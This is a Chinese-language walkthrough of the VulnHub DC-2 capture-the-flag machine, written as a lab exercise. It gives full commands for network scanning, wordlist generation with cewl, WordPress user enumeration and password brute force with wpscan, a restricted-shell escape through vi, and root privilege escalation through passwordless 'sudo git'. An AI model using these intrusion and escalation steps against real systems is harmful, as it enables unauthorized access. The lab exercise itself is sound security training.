[vulnhub]DC2

文章目录

vulnhubDC2

信息收集

扫ip,有两种方式:arp、nmap

复制代码
nmap -sP 192.168.56.0/24 -T4

arp-scan -l

192.168.56.137

扫端口:

复制代码
nmap -sS -A -T4 192.168.56.137 -p 1-65535

flag1

我们使用浏览器登录80端口,发现登录不上,地址栏变为:http://dc-2

原因是dns解析不正确,我们需要在hosts文件中添加:

访问可以获得flag1

提示我们需要使用工具cewl获得字典,登录来获得flag2

flag2

cewl

首先需要了解一下什么是cewl:

cewl是一个用于生成自定义字典(custom wordlist)的工具。它的全称是"Custom Word List generator",意为自定义字典生成器。cewl工具的主要目的是通过分析指定的目标网页或文本文件,从中提取关键词和短语,然后将这些词汇组合成一个自定义的字典文件。

我们大概了解cewl可以分析网页的关键词来生成自定义字典文件,此处我们只需了解-w参数即可:

复制代码
语法格式:cewl <url> [options]
<url>是指定爬取的站点,options是参数选项

-w,--write	将输出的结果写入到文件

于是我们生成自定义密码词典:

bash 复制代码
cewl http://dc-2 -w pass.txt    # 这里需要输入域名才有效

我们再观察一下官网:

这个网站是由WordPress 4.7.10 搭建的,肯定有很多wordpress漏洞

我们可以使用工具:wpscan

wpscan

WPScan是Kali Linux默认自带的一款漏洞扫描工具,它采用Ruby编写,能够扫描WordPress网站中的多种安全漏洞,其中包括WordPress本身的漏洞、插件漏洞和主题漏洞

flag1提示我们需要登录,我们有了密码词典,但是没有用户名怎么登录,所以我们需要获得用户名,而wpscan工具就可以做到

复制代码
wpscan --ignore-main-redirect --url 192.168.56.137 --enumerate u --force

--ignore-main-redirect	忽略主要的重定向
--url				   指定url
--enumerate u		    枚举用户名
--force: 			    这个选项强制wpscan执行即使目标可能不是WordPress网站的情况下也要继续扫描。如果没有使用--force选项,wpscan在检测到目标不是WordPress网站时将会中止扫描。

这里扫描出了3个用户名:

知道了用户名和密码的词典,我们就可以进行爆破了,可以使用hydra、wpscan、bp等工具

bp:

使用最后一个模式,计算笛卡尔积

wpscan:

复制代码
wpscan --url 192.168.56.137 -U user.txt -P dict.txt --ignore-main-redirect --force

然后我们使用jerry登录网站后台:/wp-admin

希望我们使用另一个点切入

flag3

我们想起之前7744端口开放了一个ssh

我们使用tom登录上ssh:

想查看flag3,却发现没有命令。注意到使用rbash

什么是rbash?

rbash(restricted bash),即受限制的 bash

经过查询发现可以使用rbash逃逸

在这个靶机中我们可以使用这种方法:

在vi的末行模式输入:

  • :set shell=/bin/sh
  • :shell

结果还是不行,因为没有添加环境变量:

复制代码
export PATH=$PATH:/bin/
或者
export PATH=/usr/sbin:/usr/bin:/sbin:/bin
复制代码
Poor old Tom is always running after Jerry. Perhaps he should su for all the stress he causes.

flag4

上面提示了su,所以我们可以使用su切换到jerry,然后查看/home/jerry/flag4.txt:

复制代码
Good to see that you've made it this far - but you're not home yet. 

You still need to get the final flag (the only flag that really counts!!!).  

No hints here - you're on your own now.  :-)

Go on - git outta here!!!!

提示我们需要使用git命令

flag5

这里需要了解一个知识点:git提权

git提权

git提权的前提是不需要使用密码就可以使用git命令

我们可以使用sudo -l命令查看哪些可以具有root权限的命令:

我们可以看到git命令刚好满足,使用不需要密码,于是我们进行git提权:

我们可以使用如下命令:

复制代码
sudo git help config #在末行命令模式输入 
!/bin/bash 或 !'sh' #完成提权 

提权成功后为root权限:

查找最后一个flag:

复制代码
find / -name "*flag*"

总结

通过DC2靶机了解到了很多东西,例如cewl工具可以根据网页的关键字生成自定义字典,例如想要寻找WordPress的漏洞可以使用wpscan工具来扫描,想要破解密码可以使用hydra工具等等,以及受限制的bash:rbash,需要rbash提权到bash来,还了解了一个git提权,当sudo -l列出的可特权执行的命令中git不需要密码,就可以git提权

相关推荐
EnCi Zheng13 小时前
后端怎么把AI接口稳定安全低成本接进业务:超时重试、密钥隔离与成本熔断清单
人工智能·后端·安全·架构·api
Smoothcloud润云14 小时前
GPU远程纳管安全吗?最小权限、网络边界与日志审计实战
服务器·网络·人工智能·安全·gpu算力·gpu
长不大的杨瑞杰15 小时前
OpenCode v2 MCP 与插件体系实战:把数据库、工单和内部 API 安全接入 Agent
人工智能·安全·语言模型·软件工程·1024程序员节
万联WANFLOW16 小时前
Kimi K3.1 Pro 接口接入指南:模型选型、费用计算与零数据保留
java·spring boot·python·安全·spring·大模型
安教安全员通关宝16 小时前
2026年浙江安全员B证考试题库+答案+解析
安全
福建佰胜张工16 小时前
费希尔 FIELDVUE™ DVC6200-AC 智能阀门定位器深度解析:双作用配置、核心参数与典型应用
运维·安全·自动化
木头科技17 小时前
【AI 工程化第十八篇】Spring AI 语音 Agent 实战:实时转写、WebSocket、流式 TTS 与打断机制
java·人工智能·安全·spring·性能优化
富安达智能18 小时前
气体传感器在智慧温室大棚中的应用,助力设施农业提质增效
安全
千里念行客24018 小时前
恩威医药:第三季度扭亏为盈,经营拐点已经写在单季报表里
大数据·科技·安全·健康医疗
2603_9547083119 小时前
微能网协调控制箱的架构优势对能源管理的影响?
大数据·人工智能·分布式·安全·架构